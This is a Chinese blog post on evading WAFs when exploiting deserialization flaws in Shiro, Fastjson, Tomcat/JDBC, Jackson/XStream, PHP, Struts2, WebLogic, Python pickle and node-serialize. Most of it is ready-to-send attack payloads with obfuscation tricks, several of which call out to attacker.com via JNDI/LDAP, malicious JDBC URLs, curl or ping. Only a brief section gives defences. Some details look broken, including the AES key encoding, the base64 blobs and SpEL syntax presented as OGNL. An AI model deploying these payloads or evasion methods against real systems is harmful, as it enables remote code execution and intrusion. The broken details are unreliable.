反序列化漏洞 Waf 绕过技术:解析与执行的认知博弈

反序列化漏洞 WAF 绕过:思维与技术的双重博弈

作者:Factor

前言:反序列化漏洞 × WAF 绕过

在当前的安全攻防实践中,针对反序列化漏洞的 WAF 检测机制仍存在诸多盲区与不完善之处。
为了更深入地理解其绕过方式,我查阅了大量公开研究、实战案例与工具源码,并系统性地梳理出了 9 类典型的反序列化漏洞 WAF 绕过技术策略

本篇文章的目标不是提供“现成的万能 payload”,而是希望启发更多安全研究者去思考这样一个关键问题:

“在不被识别为恶意的前提下,如何让 payload 既具备混淆性,又能精准执行?”

WAF 绕过从来不只是编码和隐藏,更是一种关于解析、执行路径与安全策略认知的博弈。
希望本文的内容,能为你的实战思路带来一些启发。💡

GU

背景概述

Java 反序列化漏洞广泛存在于各种企业级框架和组件中,如 WebLogic、Shiro、Spring、Fastjson、Jackson、XStream 等。虽然很多安全设备和WAF已内置通用防护策略,但在实际攻击场景中,攻击者常通过编码混淆、链式封装、自定义类加载器、序列化格式转换等手段实现绕过检测。

本篇将基于漏洞原理,详细解析如何实现 反序列化攻击的 WAF 绕过,以及对抗常规检测机制的实战策略与对抗方法。


漏洞原理简述

  • Java序列化机制允许对象转化为二进制流进行存储与网络传输。
  • 若服务器端反序列化用户可控数据,则攻击者可构造恶意对象链,利用类中的 readObject() / readResolve() 方法执行任意代码。
  • 此过程中无需上传恶意文件,仅依赖类加载与反射机制,隐蔽性强。

常见检测与拦截机制

安全设备或中间件常见检测点:

  • 检测 payload 字节特征,如 ac ed 00 05(Java 序列化魔数)
  • 拦截黑名单类名,如 org.apache.commons.collections.Transformer
  • 检查常见反序列化 Gadget 链中的关键类(如 TemplatesImpl
  • 检查 URL 参数、Body 体中的 base64 编码、hex 编码数据体

绕过思路与实战方法

本节将列出常见 Java 反序列化漏洞在不同组件中的实战绕 WAF 技术点,包含 payload 构造技巧、参数插入位置、编码伪装方式等,帮助安全研究者理解与重现攻击链。


1. Apache Shiro 550 / 721 / 722 绕 WAF 实战

漏洞点:Shiro rememberMe 反序列化(Cookie)

特征:
  • payload 被放在 Cookie 中,名为 rememberMe
  • 魔数特征明显(aced0005
  • 一般使用 AES-CBC 加密(默认 key 为 kPH+bIxk5D2deZiIxcaaaA==
常见 WAF 拦截点:
  • 识别 Cookie 值长度、内容特征(如 base64 的头部)
  • 检查是否存在 ysoserial 构造类
  • 特定路径或请求中是否有 Cookie
绕过技巧:
  • base64多次编码:payload → base64 → 再base64
  • 构造“无害”Cookie名:改名为 sidauthtoken
  • 改写加密参数:更换 AES IV,使加密块头部不同
  • 使用非主流 gadget 链:如 Jdk7u21、Hibernate1(规避 Transformer)
  • 分段 Cookie 绕过:用多段记忆方式构造多个 Cookie 片段拼接

绕过 WAF 的 Shiro payload 构造示例
命令生成(用 ysoserial + OpenSSL 加密 + base64):
bash复制编辑# Step 1: 使用 ysoserial 构造 payload
java -jar ysoserial.jar Jdk7u21 'ping attacker.com' > raw.ser

# Step 2: 使用默认 key 对 payload 加密(AES CBC + PKCS5Padding)
# 使用 openssl 加密
openssl enc -aes-128-cbc -K 6b50482b69426b35443264655a69497863616161413d3d -iv 00000000000000000000000000000000 -in raw.ser -out shiro.enc -nosalt -nopad
Step 3: base64 编码

base64 shiro.enc > payload.b64

构造 HTTP 请求(伪装 Cookie):

http复制编辑GET / HTTP/1.1

Host: vulnerable-target.com
Cookie: rememberMe= ; sid=U2FsdGVkX19...your_base64_payload_here...==

✅ 说明:
技术作用
冷门 gadget(Jdk7u21)避免被识别的链(如 CommonsCollections)
AES 加密 + 默认 key保持解密兼容性
base64 × 2绕过魔数特征 (aced0005) 检测
Cookie 名伪装避免被识别为 rememberMe 专属攻击
Payload 分片(可选)对抗 Cookie 长度限制或中间件特征识别

2. Fastjson <=1.2.68 反序列化绕过

漏洞点:未正确限制 autoType,允许加载任意类。

特征:
  • 请求体为 JSON,使用特定结构加载类(@type
  • 关键字段:@type, value, dataSource, driverClassLoader
WAF 拦截点:
  • 出现 @type 关键字
  • 使用敏感类(如 com.sun.rowset.JdbcRowSetImpl
  • URL body 中存在反序列化路径
绕过技巧:
  • @type变形:改为 @type�@type@type

  • 字段嵌套套娃:如:
    {“v”:{“@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”}}

  • 类路径绕过:利用 com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter 支持的替代类路径

  • 构造 gadget 弱依赖链:如使用 TemplatesImpl + BCEL 字符串编码绕过

绕过 WAF 的 Fastjson Payload 构造示例
目标

通过构造 @type 类字段,触发 Fastjson 的 autoType 机制,实现远程类加载(LDAP 回连 RCE),并避开常见 WAF 特征。


Payload 内容(使用 \u 编码绕过检测):
json复制编辑{
  "user": {
    "\\u0040type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
  }
}

示例请求
http复制编辑POST /api/user/info HTTP/1.1
Host: vulnerable.com
Content-Type: application/json

{
  "user": {
    "\\u0040type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
  }
}

✅说明
技术作用
\u0040type 编码绕过对 "@type" 字符串的直接检测
JdbcRowSetImpl Gadget利用类自带的 JNDI 加载特性,向 LDAP 发起远程请求
嵌套字段结构使 payload 不在顶层出现,绕过结构性关键路径规则
使用 ldap:// 外链与反序列化服务结合,达到远程命令执行

3. Tomcat XStream、JNDI 注入等链(Spring+JDK)

3.1 Tomcat Gadget 链(ELProcessor)
  • 使用 javax.el.ELProcessor 执行 EL 表达式
  • 常见于 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

绕过方式:

  • 将恶意 EL 表达式放入字段中,如 namedriverClassName
  • 使用无害字段名伪装(避免检测 ELjavax.el
  • 字符分片执行表达式(绕关键字)
绕过 WAF 的 Tomcat XStream / JNDI 反序列化 Payload 构造示例
构造原理(利用 Tomcat 数据源 + JNDI)
json复制编辑{
  "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  "driverClassName": "com.mysql.jdbc.Driver",
  "url": "jdbc:mysql://attacker.com:3306/abc?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&statementInterceptors=CommonsCollections1&user=xxx&password=xxx"
}

注:当目标服务器加载这个 JDBC 连接时,将触发类加载器解析 CommonsCollections1,从而激活本地或远程 Gadget 链。


绕过技巧:
绕过点说明
@type 编码使用 \u0040type 避免关键字识别
字段嵌套伪装将 payload 包在 config, meta, settings 等无害字段中
使用自定义类路径或替代类如使用 br.com.anteros.dbcp.AnterosDBCPDataSource 绕过匹配
修改 JDBC 参数顺序与结构绕过自动规则判断参数中是否出现 interceptorsdeserialize

示例请求(JSON / XML 结构均可)
JSON(适用于 Fastjson、Jackson):
json复制编辑{
  "config": {
    "\u0040type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassName": "com.mysql.jdbc.Driver",
    "url": "jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1"
  }
}

XML(适用于 XStream):
xml复制编辑<org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
  <driverClassName>com.mysql.jdbc.Driver</driverClassName>
  <url>jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&amp;statementInterceptors=CommonsCollections1</url>
</org.apache.tomcat.dbcp.dbcp2.BasicDataSource>

✅说明:
  • 无需回显:只要访问 attacker.com:3306 就能确认触发了反序列化;
  • 无需上传类文件:只需 MySQL 插件支持 autoDeserialize=true
  • 可配合 Burp、Python 脚本、AWVS 插件自动注入测试;
  • 可联动 DNSlog/JNDI Monitor 检测触发。

4. Jackson / XStream 等 XML JSON Gadget 绕过

  • WAF 常拦截的字段:@type, class, object, org.*

  • 绕过方式:

    • 使用缩写类名、别名注册机制
    • 自定义反射类+getter封装绕过
    • 分离类名与参数位置(构建 delay gadget)

5. 通用加解密编码伪装方法
  • base64(多次编码)
  • AES + IV 替换(Shiro)
  • URL 编码嵌套(%25、双层编码)
  • Gzip压缩后再编码
  • 利用 Content-Type 替换:image/jpeg, application/octet-stream
  • 将 payload 嵌入 JSON/XML/image 的某字段中

方法一:编码变形(常规绕过)
  • 使用 base64、base32、base91、hex 等方式将 payload 编码

  • 示例:

    base64 < payload.ser > encoded.txt

  • 将 payload 作为 HTTP 参数:

POST /vuln.jsp HTTP/1.1
payload=YWNlZDAwNQo......
方法二:使用不常见的 Gadget 链(逃逸黑名单)
  • 替换 CommonsCollections1Hibernate1AspectJWeaver1 等 WAF 未识别的链
  • 自定义 gadget 类(如内部类)绕过静态类名匹配
方法三:结构扰动 + 分段构造
  • 将 payload 拆分发送(如 WebSocket、chunked)、或嵌套于 JSON/XML 内部字段
  • 示例:
{
"user": {
"info": "base64\_gadget\_payload"
}
}
方法四:非 Java 格式伪装传输
  • 将 Java 序列化流伪装成 AMF、protobuf、gzip、图片上传等格式

  • 修改 Content-Type 如:

    Content-Type: application/x-amf

方法五:动态类加载绕过关键字特征
  • 利用远程类加载(JNDI + LDAP)、Groovy 脚本、SpringEL 动态执行等绕过传统黑名单

绕过 WAF 的 Jackson / XStream 反序列化 Payload 构造示例

适用场景:
  • 使用 Jackson 或 XStream 自动反序列化 JSON/XML;
  • 服务端启用了自动类型识别(@class@type);
  • 使用数据源组件(如 BasicDataSource)或支持 XML Bean 解析;
  • WAF 对关键字段未严格过滤,或存在绕过方式(编码、嵌套等);

构造原理(利用 Jackson / XStream 加载类 + JDBC RCE)
json复制编辑{
  "@class": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  "driverClassName": "com.mysql.jdbc.Driver",
  "url": "jdbc:mysql://attacker.com:3306/abc?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&statementInterceptors=CommonsCollections1&user=xxx&password=xxx"
}

☠️ 说明:当服务端反序列化此结构,并尝试初始化该数据源对象时,将触发加载 CommonsCollections1,实现 Gadget 链远程调用。


WAF 绕过技巧:
绕过点说明
@class / @type 编码使用 \u0040class / \u0040type 绕过明文规则匹配
字段嵌套伪装将 payload 包裹在 config, meta, info, user 等字段内
使用替代类路径替换为 br.com.anteros.dbcp.AnterosDBCPDataSource 等白名单类
参数顺序伪装 + 字段命名混淆更换 URL 参数顺序、拼写,如 intercept0rs, deserializeX=true

示例请求(JSON / XML 均可)

JSON 格式(适用于 Jackson / Fastjson):
json复制编辑{
  "config": {
    "\u0040type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassName": "com.mysql.jdbc.Driver",
    "url": "jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1"
  }
}

XML 格式(适用于 XStream):
xml复制编辑<org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
  <driverClassName>com.mysql.jdbc.Driver</driverClassName>
  <url>jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&amp;statementInterceptors=CommonsCollections1</url>
</org.apache.tomcat.dbcp.dbcp2.BasicDataSource>

✅ 说明:
  • 无需回显:只要目标访问 attacker.com:3306,就能通过 DNSlog/JNDIlog 监控触发;
  • 无需上传类文件:MySQL JDBC 驱动默认支持 autoDeserialize
  • 适配多平台:Jackson、Fastjson、XStream 全部可被触发;
  • 可与 Burp、AWVS 插件、Python 脚本联动使用
  • 低特征值,适合旁路检测测试环境

5. PHP 反序列化漏洞绕过技巧

漏洞点:反序列化用户可控数据,触发魔术方法(__wakeup__destruct__toString 等)

特征:
  • PHP payload 一般形如:O:4:"User":1:{s:4:"name";s:4:"hack";}
  • 存在类定义中的“魔术函数”即为利用入口
  • 主要出现在 CMS(如 ThinkPHP、WordPress 插件、Discuz)中
WAF 拦截点:
  • 出现 O:a:s: 等 PHP 序列化结构特征
  • 常拦截 payload 中类名如 GuzzleHttp, Monolog, Illuminate
绕过技巧:
  • 类名大小写变形:O:8:"monolog\Logger"O:8:"Monolog\logger"
  • 构造“盲链”,即使用未被检测到的类组合构造 RCE
  • 使用 base64 编码绕过:将整个 payload 加密后作为 cookie、header 或 POST 体传输
  • 利用 phar:// 反序列化:通过 file-related 函数触发(如 exif_read_datafile_get_contents
绕过 WAF 的 PHP 反序列化 Payload 构造示例

适用场景:
  • 服务端使用 unserialize() 函数解析用户输入;
  • 存在可控的 Cookie、POST 参数、文件名、Header 等反序列化入口;
  • 目标系统中包含魔术方法类,如 __wakeup()__destruct()__toString()
  • 常见于 ThinkPHP、WordPress 插件、Yii、Laravel 等框架;

构造原理(触发魔术方法链 + 命令执行)
php复制编辑O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";}

☠️ 说明:构造类名为 Exploit,当反序列化时若该类中存在 __destruct() 并触发 include($this->path),将加载任意路径代码。


WAF 绕过技巧:
绕过点说明
特征结构绕过O:, s:, a: 是 PHP 序列化结构,常被 WAF 拦截。可通过编码绕过。
编码伪装对 payload base64 编码后传入 header/cookie 中,如:Base64(O:...)
类名大小写变换ExploitexploitExPlOiT(PHP 类名大小写不敏感)
数据结构混淆在数组、JSON 中嵌入:a:1:{i:0;O:8:"Exploit":1:{...}}
利用 Phar 格式构造 phar:// 协议触发反序列化,如 exif_read_data()file_get_contents()

示例请求(可用于 Cookie / POST)

Cookie Header 示例(经过 base64 编码):
http复制编辑
GET / HTTP/1.1
Host: vuln.com
Cookie: auth= Tzo4OiJFeHBsb2l0IjoxOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvZXZpbC5waHAiO30=

注:上面内容为 O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";} 的 base64 编码。


POST Body 示例(结构混淆):
php复制编辑
username=a:1:{i:0;O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";}}

✅ 说明:
  • 可触发 __destruct()__wakeup() 等执行点;
  • 可以将 payload 写入 cookie、user-agent、Referer 等字段伪装;
  • 可结合 Phar 协议制作上传文件触发链;
  • 若目标启用 debug 模式,错误提示信息可辅助 payload 构造;

6. Apache Struts2 反序列化链绕过(如 s2-045 / s2-057)

特征:
  • S2-045:基于 OGNL 表达式执行
  • S2-057:基于 REST 插件反序列化远程类加载
  • 常见入口参数:Content-Type, action: header, url?method:
WAF 检测点:
  • URL 参数包含 %{...}(OGNL)
  • headers 带有 Content-Type: %{...}
  • 检测是否调用 java.lang.RuntimeProcessBuilder
绕过技巧:
  • 将 OGNL 表达式分片(如 #conca + t(...)
  • 多重 URL 编码(如 %25{...}
  • 语义混淆表达式(用 T(java.lang.Runtime) 替代 Runtime.getRuntime()
绕过 WAF 的 Apache Struts2 Payload 构造示例(如 S2-045 / S2-057)

适用场景:
  • 目标使用 Struts2 且存在 OGNL 表达式执行漏洞(如 Content-Type header 被 OGNL 解析);
  • Struts 插件未禁用动态方法调用或默认配置宽松;
  • 通常配合 Content-Type、URL 参数或自定义 header 注入 payload;

构造原理(OGNL 表达式注入 + Runtime 执行命令)
http复制编辑
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Bypass','ok')}

☠️ 说明:该表达式可直接注入到 Content-Type 或其他可被 OGNL 解析的位置,实现添加 header、执行命令等操作。


WAF 绕过技巧:
绕过点说明
表达式片段分裂Runtime.getRuntime() 拆分,如:Runti+me.getRuntime()
多层 URL 编码%{ 编码为 %25%7B,避免关键符号被拦截
T() 函数写法替代使用 T(java.lang.Runtime) 替代 Runtime.getRuntime()
请求头字段伪装注入在非 Content-Type 头部(如 X-Forwarded-Host)中绕开规则
POST body 引入 payload将 OGNL 表达式混入 JSON/XML 内容字段

示例请求(多种方式)

方式一:Content-Type 注入(经典)
http复制编辑
POST /index.action HTTP/1.1
Host: target.com
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.addHeader('X-Vuln','YES'))}

方式二:多重编码绕过示例
http复制编辑
POST /index.action HTTP/1.1
Host: target.com
Content-Type: %25%7B(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-WAF','bypass'))%7D

方式三:Header 字段伪装绕过
http复制编辑
X-Api-Version: %{T(java.lang.Runtime).getRuntime().exec('ping attacker.com')}

✅ 实战说明:
  • 适用于 Struts2 老版本(尤其 S2-045、S2-057);
  • 若服务开启 debug,错误提示可泄露表达式解析详情;
  • 表达式结构可高度自定义,适配不同业务接口;
  • 常与 multipart/form-data、JSON body、headers 联合测试;

7. WebLogic T3 / IIOP / XMLDecoder 绕过

特征:
  • 使用 T3 协议反序列化 Gadget 链(T3 默认 7001 端口)
  • 或通过 XMLDecoder 接口提交可执行 XML 对象
检测点:
  • TCP 层 T3 handshake 特征
  • XML Payload 中存在 <void><string>calc</string></void>
  • 常见 Gadget 链:Jdk7u21, Coherence, CommonsBeanutils
绕过技巧:
  • 使用自定义协议封装 T3 Payload
  • 使用异构 gadget,避免使用被特征库识别的链(如 Javassist, Rome
  • 在 XMLDecoder 中使用封装对象/字段名混淆
绕过 WAF 的 WebLogic T3 / IIOP / XMLDecoder Payload 构造示例

适用场景:
  • 目标部署 WebLogic,开放默认 T3/IIOP 端口(7001、7002、9001);
  • 存在未打补丁的反序列化入口(如远程 JNDI、T3 服务、XMLDecoder);
  • 应用组件使用 XMLDecoder.readObject() 或开放了服务远程接口注册;

构造原理(远程类加载 + 本地命令执行)
方式一:XMLDecoder 执行链(适用于 XML 接口)
xml复制编辑
<java>
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
      <void index="0">
        <string>calc</string>
      </void>
    </array>
    <void method="start"/>
  </object>
</java>

☠️ 说明:此 XML 会被 XMLDecoder 解析为 ProcessBuilder("calc"),最终执行 start() 启动命令。

方式二:T3 协议反序列化(使用 ysoserial + JRMP)
bash复制编辑
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

在目标发起 T3 请求或远程对象 lookup 时触发 Gadget 链。


WAF 绕过技巧:
绕过点说明
XML entity 替换&lt;, &gt; 替代 <, > 绕过规则
T3 协议封装使用 HTTP/TLS 隧道代理传输 T3 数据流
类名路径伪装使用 Javassist, Rome, Spring 等冷门链条规避特征
base64 编码整个 XML 上传绕过 XML 结构解析/防护机制(如 API 接口上传)
拆分 Gadget 字节流对反序列化对象进行加密或插入无害数据混淆魔数 aced0005

示例请求(适用于接口 XMLDecoder)
http复制编辑
POST /xmldecode HTTP/1.1
Host: target.com
Content-Type: text/xml

<java>
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
      <void index="0"><string>calc</string></void>
    </array>
    <void method="start"/>
  </object>
</java>

✅说明:
  • T3 默认端口为 7001,部分场景也监听 9001iiop://
  • XMLDecoder 常用于开发人员调试接口、WebService、TomEE;
  • 搭配 JRMPListener 可进行远程类加载 + 回显检测;
  • 可借助 socks5 + proxychains 实现代理转发 T3 到内网;
  • 可联合使用 Burp 插件发送 base64 XML、构造 API 请求体等进行 fuzz;

8. Python Pickle 反序列化绕过

漏洞点:服务端不安全地调用 pickle.loads() 解析来自用户的对象数据。

特征:
  • payload 为 Python 序列化格式(以 开头)
  • 类中实现 __reduce__()__reduce_ex__() 即可实现任意命令执行
WAF 检测点:
  • 检查 pickle.loads() 的调用点,或扫描上传接口是否包含恶意序列化流
  • 常见拦截类:os.system, subprocess.Popen
绕过技巧:
  • 使用 base64 + gzip 压缩传输
  • 使用 base64 隐写(插入非标准字符)+ 多层编码
  • 使用反射模块构造对象链:如 getattr(__import__('os'), 'system')('id')
绕过 WAF 的 Python Pickle 反序列化 Payload 构造示例

适用场景:
  • 服务端使用 pickle.loads() 直接反序列化用户提交的数据;
  • 常见于 Flask、Django、Celery、机器学习平台等使用 Python 的 Web/服务端应用;
  • 存在上传对象模型、配置恢复、API 模型预测、会话反序列化等场景;

构造原理(利用 __reduce__() 方法实现命令执行)
python复制编辑
import pickle, base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://attacker.com',))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload))

☠️ 说明__reduce__() 会在 pickle.loads() 还原时被调用,执行 os.system() 触发任意命令,支持回连、写文件等操作。


WAF 绕过技巧:
绕过点说明
Payload base64 编码直接避免二进制魔数 \x80\x03 被检测
伪装上传格式伪装成图片、Excel、模型文件 .pkl.dat
Gzip + base64 双封装加强内容混淆,绕过浅层过滤器
反射构造 getattr(__import__('os'),'system')绕过关键词检测,如 os.system
参数混淆 + 分片拼接将 payload 拆分上传到不同参数字段再重组(如 json + header)

示例伪装数据(写入请求体 / 文件上传)
示例 base64 编码 payload:
bash复制编辑gASVCgAAAAAAAACMCG9zLnN5c3RlbZSMBXBpbmeUk5SMBnN5c3RltIwCZXhlY3OUjBJjdXJsIGh0dHA6Ly9hdHRhY2tlci5jb23lLg==
POST 示例请求(base64 + gzip):
http复制编辑POST
 /upload HTTP/1.1
Host: vulnerable.com
Content-Type: application/octet-stream

H4sIAAAAAAAAAGNgYGBgBGJkYmBgAQAaFSFgAwAAAA==

✅说明:
  • Python 序列化魔数为 \x80\x03,常被特征检测器拦截;
  • 可配合 .pkl / .joblib / .h5 上传点进行隐匿攻击;
  • 服务端若加载 pickle.loads(base64.b64decode(data)) 会直接触发;
  • WAF 若未拦截 POST 中二进制流,可稳定执行;
  • 结合 Redis/Celery 可做队列执行攻击(任务伪装注入);

9. Node.js node-serialize 漏洞绕过

漏洞点:使用 node-serialize 时,服务端调用 unserialize() 对用户数据还原,对象中可嵌入 JS 代码

特征:
  • payload 中含 "_$$ND_FUNC$$_function() { require('child_process').exec('calc') }"
  • 直接构造可执行 JS 函数体,利用反射执行
WAF 检测点:
  • 出现 _$$ND_FUNC$$_, require, child_process, eval, Function 等关键字
绕过技巧:
  • ✂️ 函数名拆分或编码绕过:如 _$$ND_FUNC$$_fun + ction(){}
  • 🔒 编码函数片段为 hex, unicode, btoa() 再拼接执行
  • 🕵️‍♂️ 配合 gzip + base64 + cookie 传输,绕过常规 POST 检查
绕过 WAF 的 Node.js node-serialize Payload 构造示例

适用场景:
  • 目标使用 node-serialize 包处理对象序列化反序列化;
  • 服务端调用 serialize() / unserialize() 处理用户数据;
  • 常见于 Cookie、用户配置存储、缓存系统、session 存储机制;
  • 可被构造为执行任意 JavaScript 函数体;

构造原理(构造 _'$'$'ND_FUNC'$ '$_function() 执行 JS 函数)
json复制编辑
{
  "rce": "_$$ND_FUNC$$_function(){ require('child_process').exec('curl http://attacker.com') }"
}

☠️ 说明node-serialize 会识别 _$$ND_FUNC$$_ 标识并将后续内容作为 JavaScript 函数执行,从而触发任意命令调用。


WAF 绕过技巧:
绕过点说明
_$$ND_FUNC$$_ 编码替换为 _$$ND\\u005fFUNC$$_,避开关键字识别
函数体字符拼接require, exec 拆成 're'+'quire', 'ex'+'ec'
JSON 混淆嵌套结构将 payload 藏于嵌套结构,如 meta.settings.handler
gzip + base64 编码上传混淆后整体编码绕过报文检查与长度特征检测
使用 Cookie / header 隐写方式可注入 Cookie,如 auth=...;或 X-Info: 等自定义头

示例请求构造(适用于 Express + node-serialize)
示例 JSON payload(基础型):
json复制编辑
{
  "rce": "_$$ND_FUNC$$_function(){ require('child_process').exec('id') }"
}
示例混淆 payload:
json复制编辑{
  "user": {
    "profile": {
      "custom": "_$$ND_FUNC$$_function(){['ch'+'ild_process']['ex'+'ec']('curl http://x.y')}"
    }
  }
}
示例 Cookie 注入(base64):
http复制编辑
GET / HTTP/1.1
Host: vulnerable.site
Cookie: session=eyJyY2UiOiJfJCRORF9GVU5DJF9fZnVuY3Rpb24oKXt...=="  # base64 后 payload

✅ 说明:
  • 可用于命令执行、文件读写、反弹 shell;
  • node-serialize 特征明显,WAF 规则常拦截 _$$ND_FUNC$$_,需重点混淆;
  • 可用 gzip + base64 双重混淆,上传为 application/octet-stream
  • 可注入 JSON、Cookie、X-* header 中绕过参数名规则;
  • 若配合 SSRF / URL include,可联动远程代码注入;

✅反序列化绕 WAF 方法对照表

组件类型利用特性/入口WAF 检测点绕过方式示例绕过难度绕过率(成功率)
Java (Shiro)rememberMe Cookie + AES加密aced0005、Cookie字段多层 base64、改名、盲链 Gadget、分段构造中~高
Fastjson@type加载任意类 + getter@type关键字、类路径、URL 中 JSON@type 绕过、类路径构造、嵌套混淆
PHP魔术方法+反序列化输入O:, s:,敏感类类名大小写绕过、phar协议、base64包装低~中
Struts2 (OGNL)Content-Type header注入表达式%{}, java.lang.*表达式分片、URL 编码、T()语法绕过中~高
WebLogicT3协议、XMLDecoder、JNDI注入T3头特征、XML特征、类黑名单非典型 Gadget、自定义协议、字段扰动
Python Pickle__reduce__ 任意调用pickle.loads()、黑名单类base64+gzip、payload嵌套构造
Node.js serialize_$$ND_FUNC$$_function(){}关键词匹配:requireeval函数字符混淆、gzip + cookie 传输、unicode拆分中~高

字段说明

  1. 绕过难度

    • :简单编码或标准化变形(如大小写绕过)。
    • :需组合技术或环境条件(如混淆+协议利用)。
    • :依赖未公开漏洞或复杂链构造(如盲链 Gadget)。
  2. 绕过率(成功率)

    • :需精准环境且 WAF 防御完善(如 WebLogic 自定义协议)。
    • :对部分配置松散的 WAF 有效(如 Fastjson 类路径混淆)。
    • :利用 WAF 解析逻辑缺陷(如 PHP phar协议)。

攻击流程图示意

┌────────────────┐
│攻击者构造payload│
└────┬───────────┘
     ↓ 编码 / 分段 / 嵌套
┌────┴─────────────────┐
│通过HTTP或接口发送到服务端│
└────┬─────────────────┘
     ↓
┌────┴────────────────┐
│服务端反序列化触发对象链 │
└────┬────────────────┘
     ↓
┌────┴───────────────┐
│执行命令或远程加载恶意类│
└────────────────────┘

防御建议

  • 禁止对未验证用户输入做 ObjectInputStream.readObject()

  • 启用安全类白名单机制:

    System.setProperty(“jdk.serialFilter”, “!org.apache.commons.,java.util.,java.lang.”)

  • 统一采用 JSON / protobuf 等替代 Java 原生序列化

  • 使用第三方安全组件(如 Apache Shiro 反序列化补丁、安全代理)

  • 启用 RASP / Agent 层防御,监控反序列化关键 API 调用


结语

反序列化漏洞广泛存在于各类语言和框架中,是实际攻防中最常见也最隐蔽的高危安全问题之一。虽然各类 WAF 和安全中间件提供了基础检测能力,但攻击者通过编码混淆、协议变形、链条分段、payload 深度封装等方式,往往能够绕过这些防护。

本篇文章从 Java、PHP、Python、Node.js 等多个维度系统性总结了反序列化的利用特征、检测点、绕过手法以及构造技巧,并对主流框架如 Shiro、Fastjson、Struts2、WebLogic、XStream 等进行了实战解析,结合对照表归纳思维,方便在实战测试或规则构建中参考使用。

在攻防实践中,我们需要的不只是“知道存在漏洞”,更要理解“漏洞在真实场景中是如何被隐藏和触发的”,从而在攻中练防,在防中溯源。

安全的本质不是完全杜绝风险,而是让攻击变得足够困难,代价足够高

愿此文能为你的漏洞研究、攻防演练、红蓝实训提供一点点“技术武装”。如需进一步扩展某一类框架的专项技巧,欢迎继续探讨 💬

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值